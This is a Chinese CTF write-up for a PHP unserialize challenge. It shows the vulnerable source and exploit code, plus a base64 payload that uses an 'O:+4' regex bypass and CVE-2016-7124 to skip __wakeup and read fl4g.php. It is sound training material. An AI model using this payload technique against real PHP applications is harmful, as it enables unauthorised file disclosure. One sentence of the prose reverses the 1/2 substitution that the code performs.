攻防世界Web_php_unserialize

本文借鉴 https://blog.csdn.net/qq_40884727/article/details/101162105

打开页面得到源码

 <?php
class Demo {
    private $file = 'index.php';
    public function __construct($file) {
        $this->file = $file;
    }
    function __destruct() {
        echo @highlight_file($this->file, true);
    }
    function __wakeup() {
        if ($this->file != 'index.php') {
            //the secret is in the fl4g.php
            $this->file = 'index.php';
        }
    }
}
if (isset($_GET['var'])) {
    $var = base64_decode($_GET['var']);
    if (preg_match('/[oc]:\d+:/i', $var)) {
        die('stop hacking!');
    } else {
        @unserialize($var);
    }
} else {
    highlight_file("index.php");
}
?>

反序列化获得fl4g里面的内容

借鉴别人的代码，在本地运行一下就可以或者在线运行

https://tool.lu/coderunner/

<?php
class Demo {
    private $file = 'index.php';
    public function __construct($file) {
        $this->file = $file;
    }
    function __destruct() {
        echo @highlight_file($this->file, true);
    }
    function __wakeup() {
        if ($this->file != 'index.php') {
            //the secret is in the fl4g.php
            $this->file = 'index.php';
        }
    }
}
    $A = new Demo('fl4g.php');
    $b = serialize($A);
    //string(49) "O:4:"Demo":1:{s:10:"Demofile";s:8:"fl4g.php";}"
    $b = str_replace('O:4', 'O:+4',$b);//绕过preg_match
    $b = str_replace(':1:', ':2:',$b);//绕过wakeup
　　 //string(49) "O:+4:"Demo":2:{s:10:"Demofile";s:8:"fl4g.php";}"
    echo (base64_encode($b));
　　//TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==
 ?>

用+4替换成4是为了绕过preg_match的正则表达式

同样的把2替换成1是利用了CVE-2016-7124的漏洞，即当序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过__wakeup的执行

最后按照题目的意思encode一下base64就获取反序列化的结果，get传参即可

?var=TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==

获得flag